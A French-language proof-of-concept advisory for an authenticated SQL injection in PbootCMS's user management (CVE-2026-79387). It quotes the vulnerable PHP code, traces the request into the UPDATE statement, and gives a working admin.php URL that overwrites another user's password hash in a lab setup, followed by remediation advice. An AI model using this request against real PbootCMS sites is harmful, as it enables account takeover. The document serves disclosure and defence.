
Preuve de concept pour CVE-2026-79387, une injection SQL authentifiée dans la gestion des utilisateurs de PbootCMS permettant des mises à jour arbitraires de champs et la prise de contrôle de comptes.
| Champ | Détail |
|---|---|
| ID CVE | CVE-2026-79387 |
| Produit | PbootCMS |
| Versions affectées | 3.2.0 – 3.2.5, et possiblement antérieures |
| Type de vulnérabilité | Injection SQL (CWE-89) |
| Vecteur d'attaque | À distance (authentifié) |
| Gravité CVSS | Élevée |
| Découvreur | JiahaoLi |
| Éditeur | https://www.pbootcms.com/ |
Une vulnérabilité d'injection SQL existe dans le module de gestion des utilisateurs de PbootCMS V3.2.5. La vulnérabilité réside dans la méthode mod() de /apps/admin/controller/system/UserController.php (ligne 149) et dans la méthode modUser() de /apps/admin/model/system/UserModel.php.
Le paramètre field est entièrement contrôlé par l'utilisateur via une requête GET, sans aucune validation par liste blanche. Le paramètre value est tout autant contrôlé par l'utilisateur et est directement concaténé dans l'instruction SQL UPDATE. Un attaquant authentifié peut spécifier n'importe quelle colonne de la base de données comme field (par exemple password, username, status, role), permettant une manipulation arbitraire des données.
// UserController.php - mod() method
if (($field = get('field', 'var')) && ! is_null($value = get('value', 'var'))) {
if ($this->model->modUser($ucode, "$field='$value',update_user='" . session('username') . "'")) {
location(- 1);
}
}
$field et $value sont extraits directement de la superglobale $_GET et concaténés dans une chaîne SQL sans aucune désinfection, sans liste blanche et sans requête paramétrée. Cette chaîne est ensuite transmise à UserModel::modUser(), qui la transmet à la méthode Model::update() de base. Comme l'argument est une chaîne (et non un tableau), il contourne la validation du nom de champ checkKey() et est intégré tel quel dans la clause SET :
UPDATE ay_user SET <user-controlled>= '<user-controlled>', update_user='admin' WHERE ucode='<ucode>'
GET /admin.php?p=/User/mod&ucode=10002&field=password&value=<MD5>
→ UserController::mod()
→ UserModel::modUser($ucode, "password='<value>',update_user='admin'")
→ Model::table('ay_user')->where("ucode='$ucode'")->update($data_string)
→ SQL: UPDATE ay_user SET password='<value>',update_user='admin' WHERE ucode='10002'
Un attaquant authentifié peut :
ucode=10001).value permet l'échappement par guillemet simple, ce qui peut potentiellement permettre des attaques par empilement ou par tautologie.Cela conduit à une prise de contrôle de compte et à un contrôle total du backend du CMS.
192.168.1.104, Apache/PHP 7.2.1/SQLite)Accédez au tableau de bord d'administration de PbootCMS et connectez-vous avec le compte admin par défaut.

Naviguez vers System Management → User Management → Add User. Créez un nouvel utilisateur :
admin2admin
La liste des utilisateurs confirme admin2 avec ucode=10002 :

Ouvrez une nouvelle fenêtre de navigateur. Tentez de vous connecter en tant que admin2 avec le mot de passe 123456 — cela échoue car le mot de passe réel est admin :

En utilisant le navigateur admin déjà connecté, naviguez vers :
http://192.168.1.104/PbootCMS/admin.php?p=/User/mod&ucode=10002&field=password&value=14e1b600b1fd579f47433b88e8d85291
14e1b600b1fd579f47433b88e8d85291est le hash MD5 de123456.
La méthode mod() exécute l'injection et redirige via location(-1) :

Tentez maintenant de vous connecter avec admin2 / 123456 :

Le mot de passe a été changé avec succès via une injection SQL. L'utilisateur est désormais connecté avec le nouveau mot de passe, ce qui confirme une prise de contrôle totale du compte.

Lorsque update() reçoit un argument de type chaîne, celui-ci est utilisé tel quel dans la clause SET, sans aucun échappement :
final public function update($data = null)
{
if (is_array($data)) {
// Array path: checkKey() validates field names
...
} else {
// String path: NO VALIDATION AT ALL
$update_string = $data;
}
$this->sql['value'] = $update_string;
$sql = $this->buildSql($this->updateSql);
return $this->getDb()->amd($sql); // Direct execution, no prepared statement
}
field — n'autoriser que les noms de colonnes connus (status, username, realname, password).$value pour empêcher toute évasion par guillemets.field vaut password, appliquer encrypt_string() à la valeur avant stockage.mod() doit exiger un jeton CSRF valide et une vérification d'autorisation au niveau du rôle.